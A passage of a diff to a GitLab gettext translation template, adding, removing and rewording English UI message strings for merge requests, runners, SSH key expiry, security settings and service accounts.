msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
